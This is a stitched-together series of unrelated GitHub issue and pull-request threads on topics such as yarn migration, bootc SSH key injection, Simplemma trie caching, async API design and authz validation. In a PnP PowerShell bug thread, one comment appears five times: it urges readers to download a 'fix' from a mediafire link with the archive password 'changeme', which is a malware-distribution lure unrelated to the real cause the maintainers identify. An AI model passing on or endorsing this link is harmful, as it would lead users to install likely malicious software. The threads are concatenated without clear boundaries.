This will ensure us to follow the Open Source Contributing guidelines, and make the game more fair by providing chance for every contributors out there to make their first contribution.

Fixes #560
Important thing to note

This script needs your personal token to work, you need to provide a valid GitHub personal access token as a secret named PERSONAL_ACCESS_TOKEN in your repository. Here's how you can do it:

Generate a GitHub personal access token:

Go to your GitHub account settings.
Select "Developer settings" from the sidebar.
Click on "Personal access tokens."
Click "Generate new token."
Give your token a description and select the appropriate scopes or permissions (they are showed in a screenshot below).
Click "Generate token" at the bottom.
Important: Make sure to copy the generated token. Once you leave the page, you won't be able to see it again.

Add the personal access token as a secret in your repository:

Go to your repository on GitHub.
Click on "Settings" at the top right.
In the sidebar, click on "Secrets."
Click on "New repository secret."
Provide a name for the secret, that must should be named as PERSONAL_ACCESS_TOKEN.
Paste the personal access token you generated in the "Value" field.
Click "Add secret" to save it.

SCREENSHOT ABOUT THE SCOPES AND PERMISSIONS YOU WANT TO ENABLE

Screenshots

Checklist

[x] Tests have been added or updated to cover the changes
[x] Documentation has been updated to reflect the changes
[x] Code follows the established coding style guidelines
[x] All tests are passing

Hey there @SurajPratap10, please make sure to review this PR.
I can understand that this PR requires some work from your side, but it's definitely worth it.
Let's make open source for accessible for everyone!


feat(yarn) bower to yarn, related to #1909

Begin switch from bower to yarn, related to #1909
Switch done with the bower-away
(& clean some scripts in package.json, maybe some mistake to revert)
In futur we will be able to switch from yarn to npm+webpack, this is done for short term (like discussed here)
Build pass with https://github.com/meanjs/mean/pull/1952
Now you can add client package with yarn add<EMAIL_ADDRESS>

@PierreBrisorgueil you'd have to rebase your changes on master to get the recent updates on the chrome fix so we can test this.

I have a fix to add on this, delete wiredep. it is only called in build prod, that's why the error is not raised before.


IS there a way to build the app without enrollment in apple developer program ?

I don't want to pay the 99 dollars now and don't have a mac for Xcode , Is there a way to build the app without enrollment in apple developer program ?

Testing it on simulator will still work for me, whenever I am ready to publish to store I will enroll for there dev program.
Thanks so much for this effort, but when can we expect the new version

Hey, you can expect the new version for the end of march. We are currently working on it!

@OmarBoshra , @SOG-web , this is now possible since release 1.0.0 of Appollo which has been released today.

Thanks so much

I have a windows machine though and have an ipad , is there no way to build on the ipad from windows machine


Feat/api usage

Changes

Item routes now private under api/1.0 (requires user signed in)
The usage of the /items route is measured

duplicate


Add load balancer to allowed hosts for aws deployment

Add load balancer to allowed hosts for aws deployment
What user problem are we solving?
Because the ALLOWED_HOSTS is empty, the backend was refusing to return requests to the aws load balancer
What solution does this PR provide?
Adds the relevant ips to allowed hosts
Testing Methodology
Change redirect for /api/training to use http://backend-load-balancer-296304048.us-east-1.elb.amazonaws.com instead of localhost in next.config.js and try to train a new model
https://github.com/DSGT-DLP/Deep-Learning-Playground/assets/47485510/4194f682-d7f6-4088-9c15-1fdfbb08193b

lgtm, ignore the githubactions errors if you're confident it's working as intended. Unfortunately GA does not have access to a working Python env to make accurate statements. Wait until tomorrow or until another PL approves before you merge

lgtm, ignore the githubactions errors if you're confident it's working as intended. Unfortunately GA does not have access to a working Python env to make accurate statements. Wait until tomorrow or until another PL approves before you merge

I wonder if we can ensure that in our github actions checks? I can try digging into this for a bit, but not the highest priority problem to solve


better modular structure

Introduction of modules, for different aspects of the library
E.g. w/ Thorntail, you just need to include it like:
    <dependency>
      <groupId>io.streamzi</groupId>
      <artifactId>jcloudevents-jaxrs</artifactId>
      <version>0.0.1-SNAPSHOT</version>
    </dependency>

Much better structure


[backport] Fix tests for cuDNN 8.1

Backport of #4689

[automatic post] Jenkins, test this please.

Jenkins CI test (for commit 07f5a3c387c52ca12014444ba103846871b188f6, target branch v8) succeeded!

pfnCI, test this please.

LGTM!


Cargo check option doesn't work

Problem

cargo check --all --examples doesn't work at all, but all other cargo
commands seem fine.
What I expect:
$ cargo +nightly check
    Finished dev [unoptimized + debuginfo] target(s) in 21.00s

Steps

$ git clone https://github.com/rust-lang/rustup.rs
$ cargo clean
$ cargo +nightly check --all --examples
    Finished dev [unoptimized + debuginfo] target(s) in 0.38s
$

Possible Solution(s)

Notes
Output of cargo version: cargo 1.36.0-nightly (c4fcfb725 2019-05-15)

Closed as not a bug! Sorry for making this noise.


Added Social Share feature

Added the Sharing Feature for multiple Social Media Platforms (WhatsApp, Facebook, Reddit, LinkedIn, Pinterest) in the footer Section. Attached a picture for reference.

Awesome work @ShashwatPS


HandConstraintPalmUp places the ulnar side activation point on the radial side of the hand

Describe the bug
HandContraintPalmUp.TryGenerateActivationPoint(...) uses the index knuckle and thumb proximal joints when calculating the activation point for the ulnar side of the hand.
Expected behavior
The activation point should move towards the safe zone instead of away from it.
Your setup (please complete the following information)

mrtk_development branch, HandConstraintPalmUp.cs(366)

Target platform (please complete the following information)

HoloLens 2

Additional context
For MRTK-UXTools-Unreal we are using the pinky knuckle for the ulnar side activation point.

Looks like this was fixed by https://github.com/microsoft/MixedRealityToolkit-Unity/pull/9935


install: Add support for --root-ssh-authorized-keys

install: Rename clashing variable
I will need to access the outer state here in a later PR.

install: Add support for --root-ssh-authorized-keys
The current bootc install model is VERY opinionated: we install
the running container image to disk, and that is (almost!) it.
The only non-container out of band state that we support injecting right now
is kargs (via --karg) - we know we need this for machine local
kernel arguments.
(We do have a current outstanding PR to add a highly generic mechanism
to inject arbitrary files in /etc, but I want to think about that more)
THis current strict stance is quite painful for
a use case like "take a generic container image and bootc install to-filesystem --alongside"
in a cloud environment, because the generic container may not
have cloud-init.
With this change it becomes extremely convenient to:

Boot generic cloud image (e.g. AMI with apt/dnf + cloud-init)
cloud-init fetches SSH keys from hypervisor (instance metadata)
podman run -v /root/.ssh/authorized_keys:/keys:ro  bootc install ... --root-ssh-authorized-keys=/keys`

And then the instance will carry forward those hypervisor-provided
keys but without a dependency on cloud-init.
Another use case for this of course is being the backend of things
like Anaconda's kickstart verbs which support injecting SSH keys.
Signed-off-by: Colin Walters<EMAIL_ADDRESS>

OK now tested and working!

There is an argument that we should support something like a more declarative full-blown user/ssh configuration.  Some higher level projects do that (e.g. kairos).
I am hesitant a bit, but (a bit like install configuration) I think we could perhaps ship a bare minimum while avoiding scope creep here potentially.
That said, such a thing would have immediate tension with user configuration as part of container builds.  It's a messy topic.

There is an argument that we should support something like a more declarative full-blown user/ssh configuration. Some higher level projects do that (e.g. kairos). There's of course also Ignition etc.

This would not be enabled by the config map/bare containers injection of files? I think if we enable that functionality anything declarative can be a very specific tool that writes configmaps/etc... like butane for bootc or so. People write a yaml and get a container with files/config map

This would not be enabled by the config map/bare containers injection of files

Right, https://github.com/containers/bootc/pull/267 and/or configmaps would be a lot more powerful than this.


ValueError: Buffer dtype mismatch, expected 'long' but got 'long long'

If I try to run the code in the Python Notebook and change it into something a python script can run, the code has the error I wrote in the title when calculating the SDP using compute_sdp_clf. I believe this has something to do with the Cython file, in line 238 something has to be changed, maybe long into long long?

Sorry for the late reply but the issue has been corrected.


Add a dictionary factory backed by MARISA-tries

This adds an additional dictionary factory backed by MARISA-tries. This dictionary factory on average offers 20x lower memory usage and 100x faster initialization time, in exchange for reduced lemmatization and language detection performance.
The first time loading a dictionary with the TrieDictionaryFactory requires more memory and will take a few seconds, as the trie-backed dictionary has to be generated on-the-fly from the pickled dict-based dictionary first.

Awesome work @Dunedan !

Thanks for sharing your insights and for contributing this functionality!
Everything looks good at first sight but we need to update the installation process on Github actions.

@Dunedan Your PR only works on Windows, there seems to be an issue with the .dic file names, could you please look into it?
There are also lines not covered by the tests, it should be easy to add further tests.

@Dunedan Your PR only works on Windows, there seems to be an issue with the .dic file names, could you please look into it?

I guess you're talking about the tests, which only succeed on the Windows runners so far. At first glance that looks like a list ordering issue affecting just the test assertions. Should be easy to fix. I'll probably do so tomorrow.
If you're not talking about the tests, please let me know and provide a bit more details about what functionality doesn't work and how that manifests. I'd be surprised about that though, as I did develop and test the code with Linux and didn't encounter any problems there.

There are also lines not covered by the tests, it should be easy to add further tests.

Sure, no big deal, I can add tests for that as well.

Python 3.6 and 3.7 are now deprecated and the token error with 3.10 on MacOS is a Codecov problem, nothing serious.
Thanks for your work @Dunedan !
@juanjoDiaz Can we merge the PR or do you have other questions?

I'm all in for having trie-backed dictionaries.
However, I'm still not convinced of the implementation.
I did a quick and dirty alternative proposal (not fully tested, just to show my thinking)

I'm all in for having trie-backed dictionaries.
However, I'm still not convinced of the implementation. I did a quick and dirty alternative proposal (not fully tested, just to show my thinking)

Thanks for that alternative proposal. :+1:
As I'd prefer to keep the discussion in a single place, I'm going to comment on your PR here:

It encapsulates better the bytestring optimization while keeping the dictionary factory working on strings

That's what I'd prefer as well, but as that requires changes to the DictionaryFactory protocol, I didn't include it in my PR so far. If changing the DictionaryFactory protocol is up for discussion, I'm all for it. :+1:

It does not require a external dependency to pick a temp folder for disk caching

The way you implemented that has several disadvantages from my point of view:

in cases where no per-user/per-process temp directory is used (e.g. when not using systemd's PrivateTmp=true option), the default cache directory would be shared by all local users. Depending on user groups and umasks, only the first user would be able to write in there. This could be solved though by adding the name or uid of the current user as part of the file path, like other applications do as well.
the temp directory is often backed by memory (e.g. through tmpfs), therefore it's no good place to store data, which should be cached on disk only
the generated trie dictionaries would be regenerated on every reboot and depending on the configuration for temp directory and usage of simplemma even more frequently (e.g. by default systemd deletes temporary files which haven't been accessed for 10 days)

All of that is why I didn't use a temp directory, but a user-specific cache directory instead.

It does not require all the additional hashing logic. It simply caches data in a folder specific to simplema's version or wherever the user says

In the end that's balancing between minimizing the number of times the trie-based dictionaries have to be regenerated and implementation complexity. I (obviously) opted for minimizing the number of regenerations, as I expect Simplemma not to update dictionaries with every release and regenerating them is pretty costly in terms of CPU and memory usage. If Simplemma is going to update dictionaries more frequently than I anticipate, then the hashing wouldn't make much sense of course.

It does not use internal functions of simplemma like _load_dictionary_from_disk

I like that. :+1:

I guess it would now be best to integrate some of the changes discussed into this PR? We could first start with the changes you both agree on.
Besides, as far as I'm concerned we can make changes in the DictionaryFactory protocol.

We agree on modifying the DictionaryFactory protocol.
I cando that in my other PR.
And then the trie implementation could be adjusted to that.
I see 3 aspects that we need to align:

How to cache on disk
Is hashing needed to notice if dictionaries changed?
should this be part of simplemma or published as a separate module?

How to cache on disk

The way you implemented that has several disadvantages from my point of view:

in cases where no per-user/per-process temp directory is used (e.g. when not using systemd's PrivateTmp=true option), the default cache directory would be shared by all local users. Depending on user groups and umasks, only the first user would be able to write in there. This could be solved though by adding the name or uid of the current user as part of the file path, like other applications do as well.

the temp directory is often backed by memory (e.g. through tmpfs), therefore it's no good place to store data, which should be cached on disk only

the generated trie dictionaries would be regenerated on every reboot and depending on the configuration for temp directory and usage of simplemma even more frequently (e.g. by default systemd deletes temporary files which haven't been accessed for 10 days)

The more I think about this, the more I think that we should simple store the trie dictionaries in str(Path(__file__).parent / data_marisa_tries. It will be there for all runs of simplemma no matter how many processes you have running simplemma.
We could, of course, have an optional argument to provide a custom path. The same could also be used in the DefaultDictionary to provide own pickled dictionaries.
I think that we need to think of how Simplemma is used.
I expect that simplemma is use either in scripts or as part of a server.
In both cases, I would simply generate the tries on disk before running the script or starting the server.
If I put my server in a docker container, I would build the tries during startup or even doing the image creation.
I wouldn't expect much dynamism on creating the tries.
That's also why I propose to have a method that allow to pre-generate all tries in disk which can be a simple for loop documented.
Is hashing needed to notice if dictionaries changed?

In the end that's balancing between minimizing the number of times the trie-based dictionaries have to be regenerated and implementation complexity. I (obviously) opted for minimizing the number of regenerations, as I expect Simplemma not to update dictionaries with every release and regenerating them is pretty costly in terms of CPU and memory usage. If Simplemma is going to update dictionaries more frequently than I anticipate, then the hashing wouldn't make much sense of course.

I think that Simplemma never updates the dictionaries because it doesn't have a fully automated mechanism to do so.
Otherwise, I would update the dictionaries with every single release of Kaikki or whatever other dataset that we want to use. That's the reason why I would like to really automate the dictionary training.
So, for me the question is: are we going to release sooo many versions of simplemma that regenerating the tries with every trie would become a problem? I don' t think so.
And I have the same remark as before. How will simplemma be used?
In servers and APIs, I would consider creating the trie as part of setting up the service (building the docker image, building the VM or manually setting up the server, depending on how modern you are).
Should this be part of simplemma or published as a separate module?
One of the beauties of simplemma is that it's dependency free.
Having this would make it depend, even if only for one optional functionality, on an external library.
Also, today is marisa trie. But tomorrow it could be another trie implementation, a better hashmap or something else.
Do we want to add all those to simplemma?
Or should they be published as external modules that just implement the protocol so can be used by simplemma easily?

I would also prefer to integrate it into simplemma, as long as the installation remains optional the package is still usable without dependencies.
As for the rest of the questions I'll keep on following the discussion as I have to fixed opinion on this. Maybe keep hashing on the side for now for the sake of simplicity.

Alright, we agreed on:

Introducing my changes to the DictionaryFactory to simplify things
Keeping the trie implementation within Simplemma
Not introducing hashing for now

The only thing left is to agree on the disk caching.
I'm no t really against it. I'm just trying to keep things simple.
I'm happy to keep the high configurability of the location with a sensible default.
However, I'd like to remove the dependency on platformdirs if possible.

Alright, we agreed on:

Introducing my changes to the DictionaryFactory to simplify things
Keeping the trie implementation within Simplemma
Not introducing hashing for now

All of that is already implemented in this PR. :slightly_smiling_face:

The only thing left is to agree on the disk caching. I'm no t really against it. I'm just trying to keep things simple. I'm happy to keep the high configurability of the location with a sensible default. However, I'd like to remove the dependency on platformdirs if possible.

IMO the most simple and sensible solution is to use the users cache directory as default and get its location using platformdirs. If you disagree, please suggest a better alternative.

I would use https://docs.python.org/3/library/tempfile.html instead of platformdirs to have a default temp folder with no dependencies.
And let the user provide it's own folder if he wants more control.

I would use https://docs.python.org/3/library/tempfile.html instead of platformdirs to have a default temp folder with no dependencies.

So this is the same approach you implemented in your PR and I above already explained the downsides this approach has. To sum it up: You prefer to have a default configuration which keeps all generated tries in memory and regenerates them on every reboot (or potentially more often), just to avoid having to use an additional, tiny, well maintained, pure-Python dependency. That approach negates the lower memory benefit of using tries and slows down the users applications as the tries have to be regenerated regularly. For long-running applications using Simplemma which get started on boot, not caching tries would even be better than this approach, as it'd mean lower memory utilization and the tries wouldn't have to be regenerated more often.
In my opinion that's not a user friendly default and I still don't understand the insistence on not using platformdirs. If you prefer adding additional code to Simplemma instead of adding an additional dependency, including a copy of the relevant code from platformdirs would be an alternative option, still providing the benefit of a sensible caching location.

Since this PR entails substantial work I'd be in favor of moving on with the integration. We can always amend it later to improve on the issues discussed here.
@Dunedan The tests do not pass for Python 3.8, could you please have a look at it?

@Dunedan The tests do not pass for Python 3.8, could you please have a look at it?

Sorry, I missed that. This should be fixed now.
If you're fine with the code as-is, I suggest I rebase & squash the commits in this branch to have a single commit for all the changes and promote the pull request from "Draft" to "Ready for review" afterwards.

So this is the same approach you implemented in your PR and I above already explained the downsides this approach has. To sum it up: You prefer to have a default configuration which keeps all generated tries in memory and regenerates them on every reboot (or potentially more often), just to avoid having to use an additional, tiny, well maintained, pure-Python dependency. That approach negates the lower memory benefit of using tries and slows down the users applications as the tries have to be regenerated regularly. For long-running applications using Simplemma which get started on boot, not caching tries would even be better than this approach, as it'd mean lower memory utilization and the tries wouldn't have to be regenerated more often.

Using tempfile does not keep things in memory but on a temp folder in disk.
My insistence in not having platformdirs is that it's an external dependency that the user will know that must be installed for things to work.
The only difference that I can see with platformdirs is that tempfile gives a folder per process whereas platformdirs gives a generic folder shared by every process.
I think that it makes sense to have temp data scoped by process.
Lazy caching by many processes, if not done carefully may produce race conditions.

Using tempfile does not keep things in memory but on a temp folder in disk.

On Linux tempfile creates files and directories in /tmp which is nowadays often backed by tmpfs, which stores its contents in memory.

My insistence in not having platformdirs is that it's an external dependency that the user will know that must be installed for things to work.

I don't know how you install Python packages, but usually the user doesn't need to know about the dependencies of a package. In this case the user has to just follow the instructions for using tries and install simplemma[marisa-trie] e.g. with pip:
pip install simplemma[marisa-trie]

platformdirs will be installed automatically as part of that.

The only difference that I can see with platformdirs is that tempfile gives a folder per process whereas platformdirs gives a generic folder shared by every process. I think that it makes sense to have temp data scoped by process. Lazy caching by many processes, if not done carefully may produce race conditions.

As explained already, there are more than just this single difference.
It'd be easy to use a per-process sub-directory in a users cache directory, however that'd remove the benefit of caching, as they'd have to be regenerated on every invocation of the application.
Regarding race conditions: There is one possible race condition right now: If two processes start in parallel, one doesn't find a cached trie, starts generating it and is still in the process of writing it to disk when the second process tries to reads the unfinished file from the cache, then the second process will retrieve an exception, because the not-yet-finished-file isn't valid. I expect that case to be very rare though and fixing it would be as easy as writing the cached trie to a temporary file and moving it to its final position after writing.

@Dunedan Thanks for fixing the PR, I believe you can prepare the PR so that it can be merged.
(My understanding is that merging the PR is not the end of the discussion and that work on this optional function can continue beyond this point.)

Thanks!


Configure default relay to connect to?

It doesn't seem obvious how is daedalus connecting to cardano network - where does it get topology of relays from? I assume it has some IOHK relay servers hardcoded right now?
Would it be possible to let users to pick alternative relays or specify custom topology? Having everything relying on IOHK infrastructure is not good for decentralization.

Relays Daedalus uses are defined in IOHK-nix: https://github.com/input-output-hk/iohk-nix/blob/master/cardano-lib/default.nix#L40
@disassembler @darko-mijic any comment from your side?


Add PR Repository

Why:

What's being changed:

Check off the following:

[ ] All of the tests are passing.
[ ] I have reviewed my changes in staging.
[ ] For content changes, I have reviewed the localization checklist
[ ] For content changes, I have reviewed the Content style guide for GitHub Docs.

Patch Filed Adding

PR review Link

Duplicate of #1


Asynchronous API

Right now the service blocks while the MD is running, we should have an asynchronous API so that it can handle requests in the mean time.

After discussing with @felipeZ, here's how we think this is best implemented:

Add a Future object to the MDStudio type registry, which holds an endpoint name and a set of arguments.
If a microservice wants to offer an asynchronous API, have it offer one endpoint to submit an operation, and another one that returns the result. These can be called anything and have any inputs and outputs, but the submit operation returns a Future.
If the workflow engine is asked to call an endpoint that returns a Future (which it can determine from the schema), it will do so, store the future, and periodically call the endpoint described in the Future with the arguments from the Future.
The status property that is returned with results will be extended to include a running value.
The result-returning endpoint will either return an error with status = failed, if the operation encountered an error, or status = running with no payload if the operation is in progress, or status = completed with the result if the operation is done.
The result will only be available once, a second call to the result-returning endpoint after the result was returned will give an error.
Perhaps a call to the result-returning endpoint when the operation is in progress could return status = running with a log as a payload?

@marcvdijk does that make sense to you?

He Lourens and Felipe,
If I understand well, a Future is a JSON message returned by the service indicating that it is processing the request and informing the user to “call back” on a dedicated endpoint for status
updates and the results.
That makes allot of sense to me. I would say it is up to the receiver of this message how to deal with it also with respect to the code that may wrap this message I believe your refers to this
as the “Future object”. The JSON Schema is than the official reference for this type of “response”.  I’m not sure what you mean with the “MDStudio type registry”, do we have one? JSON schema’s?

Op 1 nov. 2018, om 18:19 heeft Lourens Veen<EMAIL_ADDRESS>het volgende geschreven:
After discussing with @felipeZ https://github.com/felipeZ, here's how we think this is best implemented:
Add a Future object to the MDStudio type registry, which holds an endpoint name and a set of arguments.
If a microservice wants to offer an asynchronous API, have it offer one endpoint to submit an operation, and another one that returns the result. These can be called anything and have any inputs and outputs, but the submit operation returns a Future.
If the workflow engine is asked to call an endpoint that returns a Future (which it can determine from the schema), it will do so, store the future, and periodically call the endpoint described in the Future with the arguments from the Future.
The status property that is returned with results will be extended to include a running value.
The result-returning endpoint will either return an error with status = failed, if the operation encountered an error, or status = running with no payload if the operation is in progress, or status = completed with the result if the operation is done.
The result will only be available once, a second call to the result-returning endpoint after the result was returned will give an error.
Perhaps a call to the result-returning endpoint when the operation is in progress could return status = running with a log as a payload?
@marcvdijk https://github.com/marcvdijk does that make sense to you?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/MD-Studio/lie_md/issues/11#issuecomment-435112571, or mute the thread https://github.com/notifications/unsubscribe-auth/AEKUxd9afgnVQ3xlL-6YL_9iQbSpprZZks5uqy0zgaJpZM4YD2Td.

I may be messing up the terminology a bit. AFAIK, there's a central store with JSON schemas, which essentially holds type definitions for the various messages being sent between the microservices. I'm proposing to add another JSON schema there named Future. A long-running function will then return such an object, which gives the caller just enough information to check if the result is ready, and when it is, get it.
Indeed it's up to the caller to decide what to do exactly, how often to check, etc. The called endpoint could even return a reference to itself, e.g. it could be designed so that the user just repeats the same call again. To the caller, it all doesn't matter, they just call the endpoint they get with the provided parameters.
So this gives flexibility to the microservice API designer, it allows generic components like the workflow runner to deal with any asynchronous API without custom programming, and it requires only one new JSON schema and a small extension.

Indeed, than we are on the same level regarding this API implementation.
I think this would be a good way to go.

Op 8 nov. 2018, om 11:58 heeft Lourens Veen<EMAIL_ADDRESS>het volgende geschreven:
I may be messing up the terminology a bit. AFAIK, there's a central store with JSON schemas, which essentially holds type definitions for the various messages being sent between the microservices. I'm proposing to add another JSON schema there named Future. A long-running function will then return such an object, which gives the caller just enough information to check if the result is ready, and when it is, get it.
Indeed it's up to the caller to decide what to do exactly, how often to check, etc. The called endpoint could even return a reference to itself, e.g. it could be designed so that the user just repeats the same call again. To the caller, it all doesn't matter, they just call the endpoint they get with the provided parameters.
So this gives flexibility to the microservice API designer, it allows generic components like the workflow runner to deal with any asynchronous API without custom programming, and it requires only one new JSON schema and a small extension.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/MD-Studio/lie_md/issues/11#issuecomment-436955584, or mute the thread https://github.com/notifications/unsubscribe-auth/AEKUxbeq4W4ES2jRzTmx5FfePUd6M64Fks5utA5kgaJpZM4YD2Td.


[automate-3198] reduce validation

:nut_and_bolt: Description: What code changed, and why?
When creating a project, we use the same validation as other objects at the server level: character count must be 64 or less.
However, we auto-generate several roles and policies using that id and additional characters.
With this change, project_ids must be 48 chars or less (allowing the other id creation without trouble).
Validation on policy Get requests (and, while I was in there, all other resource requests that didn't create the id) no longer validate on length. Instead, validation confirms the required field is present and has more than whitespace characters.
It was a toss up whether to put the validation for this in the server (where we do our other proto validations, and where the problem would be caught early) or in the db (where we probably should have our more fine-grained validation code). The answer is probably both, but this change keeps it in the server, with a few moves to storage-level validation that had parity with this kind of validation.
:athletic_shoe: How to Build and Test the Change
start on a studio without this version of authz
make a project with an id longer than 50 chars
curl -kH "api-token: $TOK" -d '{"name":"p123456789p123456789p123456789p123456789p123456789p123456789", "id":"p123456789p123456789p123456789p123456789p12342222"}' https://a2-dev.test/apis/iam/v2/projects
attempt to fetch the associated policy (this should fail)
curl -kH "api-token: $TOK" https://a2-dev.test/apis/iam/v2/policies/p123456789p123456789p123456789p123456789p123456789p123456789-project-editors
rebuild components/authz-service
attempt to fetch the same policy (should now succeed)
curl -kH "api-token: $TOK" https://a2-dev.test/apis/iam/v2/policies/p123456789p123456789p123456789p123456789p123456789p123456789-project-editors
attempt to create a project with an id longer than 48 chars (should now fail)
 curl -kH "api-token: $TOK" -d '{"name":"p123456789p123456789p123456789p123456789p123456789p123456789", "id":"p123456789p123456789p123456789p123456789p12342222"}' https://a2-dev.test/apis/iam/v2/projects {"error":"invalid CreateProjectReq.Id: value does not match regex pattern \"^[a-z0-9-_]{1,48}$\"","code":3,"message":"invalid CreateProjectReq.Id: value does not match regex pattern \"^[a-z0-9-_]{1,48}$\"","details":[]}
Also, any other requests (GetRule, GetPolicy, etc) now fail with InvalidArg if the required ids are blank or absent.
:white_check_mark: Checklist

[ ] I have read the CONTRIBUTING document.
[ ] Tests added/updated?
[ ] Docs added/updated?
[ ] All commits have been signed-off for the Developer Certification of Origin.

:camera: Screenshots, if applicable

FYI: Created issue #3371 to mirror this strategy change to teams and authn services.


[BUG] Export-PnPPage does not accept Identities with whitespaces

Reporting an Issue or Missing Feature
I want to export a page with Export-PnPPage but get an error while exporting pages with whitespaces.
Expected behavior
I expect to export a page with whitespaces within the name.
Actual behavior
The PowerShell throws an error
Export-PnPPage: Object reference not set to an instance of an object.

The page name is "Page with whitespace.aspx".
Even if I replace the whitespaces with "%20" the export is not working.
Steps to reproduce behavior
Connect-PnPOnline -Url [URL] -Interactive
$TempFile = [System.IO.Path]::GetTempFileName()
Export-PnPPage -Force -Identity "Page with whitespace.aspx" -Out $TempFile

What is the version of the Cmdlet module you are running?
ModuleType Version    PreRelease Name                                PSEdition ExportedCommands
---------- -------    ---------- ----                                --------- ----------------
Manifest   2.9.8      nightly    PnP.PowerShell                      Desk      {Add-PnPAdaptiveScopeProperty, Add-PnPEntraIDGroupMember, Add-PnPEntraIDGroup…

Which operating system/environment are you running PnP PowerShell on?

[x] Windows
[ ] Linux
[ ] MacOS
[ ] Azure Cloud Shell
[ ] Azure Functions
[ ] Other : please specify

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Could you please run Get-PnPException | Select-Object * and post the result ? It will show where in the code the issue is.
If I try with a similar case I get the template:

The GetTempFileName() case works too:

@zzeroo - was able to reproduce this issue. It is because the page doesn't exist in the site/site collection. Have improved the code to throw a better error message. It will be available in tomorrow's nightly builds as well as the next major version.
Thanks for reporting

Thank you @gautamdsheth!
For the record: This issue was not related to the file name or white spaces as I thought. I mixed my credentials and addressed the wrong sharepoint (faceplam). You're completly right the issue was that the page was not in the site/site collection.
Greate project and excelent support.
Cheers


[ldd-clipper] Update mission-phase-name value set

Issue Type
This is an enhancement for the ldd-clipper mission dictionary.
Describe the issue identified (if applicable)
The mission_phase_name value set was initially a placeholder for the actual values. The actual values are now known.
Describe the solution you'd like
Please replace the existing value set for mission_phase_name with the following value set:

Launch
This phase includes include launch, initial acquisition, solar array deployment, establishment of power-positive attitude, and re-establishing telemetry.
Interplanetary Cruise
This phase starts one day after launch and includes two sub-phases: Inner Cruise and Outer Cruise. Activity includes flight system characterization and navigating to the Mars and Earth gravity assists along with periodic maintenance, calibrations, and navigation activities.
Arrival
This phase starts three months prior to JOI and includes two sub-phases: Jupiter Approach and Jupiter Orbit Capture. Activities include navigation maneuvers to achieve Jupiter orbit capture.
Tour
This phase starts eight hours after perijove and includes four sub-phases: Transition to Europa Campaign 1, Europa Campaign 1, Transition to Europa Campaign 2 and Europa Campaign 2. Activities include positioning for and execution of close flybys of Europa, Ganymede and Callisto.
Disposal
This phase starts 30 days after the last targeted closest approach of Europa. Activities include preparation for impact with Jupiter.

Describe alternatives you've considered
N/A
LDD Dictionary Version
N/A
PDS4 IM Version
N/A
Need-by Date
Summer 2023
Additional context
N/A

updated in PR: https://github.com/pds-data-dictionaries/ldd-clipper/pull/6


Slow Hover Transition Effect on Trip Cards

Bug Description: Slow Hover Transition Effect on Trip Cards
Issue Summary:
The hover effect on the trip cards is currently transitioning too slowly, resulting in a less responsive and less user-friendly experience. which makes the hover effect sluggish. Additionally, the cursor changes to a zoom-in style, but it would be more intuitive to change it to a pointer style to indicate interactivity.
Could you please assign this issue to me so I can work on it as part of GSSOC 2024?

@RohithChitrada please try to raise issues with the use of proper issue templates making it more proper & more understandable


It takes time to build the app for iOS

When trying to run cordova build ios while installing the firebasex plugin I noticed that it takes more than 5 minutes to complete the build.
But if I remove the plugin the build takes less than 1 minute.
Is this behavior normal or could there be a problem with my machine?

I'm seeing similar behavior with our app when upgrading to v16.0.0-cli.  I haven't attempted to reproduce with the cordova-plugin-firebasex-test project yet.  Our app using v14.2.1-cli, averaged an iOS build time of 1 minute 22 seconds. With v16.0.0-cli the average build time is 5 minutes 11 seconds.
If I get some time, I'll attempt to recreate with cordova-plugin-firebasex-test, but I'm not sure when I'll have time to do that.

Would the v14.2.1-cli and v16.0.0-cli be your Node or NPM version?

Would the v14.2.1-cli and v16.0.0-cli be your Node or NPM version?

Those are the versions of this plugin that I'm using.

I confirmed, my plugin version is also ^16.0.0.

The cause of longer build times on iOS when using v16+ of this plugin is because it now defaults to using the official (uncompiled) Firestore pod from the Firebase SDK, instead of the (unofficial) pre-compiled version (in v15 and below).
This is because of an issue with using the latest version of the pre-compiled pod in a Cordova build environment.
See https://github.com/dpa99c/cordova-plugin-firebasex/issues/782 and https://github.com/invertase/firestore-ios-sdk-frameworks/issues/62#issuecomment-1333449395

Thanks for the answer.
I think with that it is possible to close this issue.

Such increasing in building time make the rapid developing is quite difficult.
What do you think @dpa99c, will firebase-sdk come back to pre-compiled version ?
Or maybe is good time to switch into capacitor development (I guess there is building time much faster than cordova) ?

@roman-rr The increased iOS build time is due to compiling the Firestore component of the Firebase SDK.
Cordova/Capacitor are only wrappers around the native Webview that enable a webapp to be deployed as a native app.
Therefore switching to Capacitor will not speed up the build.


adding snapcraft deploy

Proposed changes
This PR adds snapcraft deploy support
Checklist

[ ] Pull request is created against the dev branch
[ ] All checks passed (lint, unit/integration/regression tests etc.) with my changes
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] I have added necessary documentation (if appropriate)

outdated


acipher main.rs: Fix arg validation error messages

Subtract 1 from args.len() to get the number of arguments (arg[0] is program path/name)
Improve the "Correct usage" string to show a (more) standard synopsis
Improve the message when key size < 256 is specified.

Signed-off-by: Sean Gilligan<EMAIL_ADDRESS>

Reviewed-by: Sumit Garg<EMAIL_ADDRESS>

Reviewed-by: Yuan Zhuang<EMAIL_ADDRESS>

Ready to merge. @msgilligan Could you add the two tags above in commit message? thanks!

Ready to merge. @msgilligan Could you add the two tags above in commit message? thanks!

Done! Thank you!


Better error messages in assertExpression

After #18 is merged, this PR will also have to modify test/errors/interpolated-call.json. Other than that, LGTM.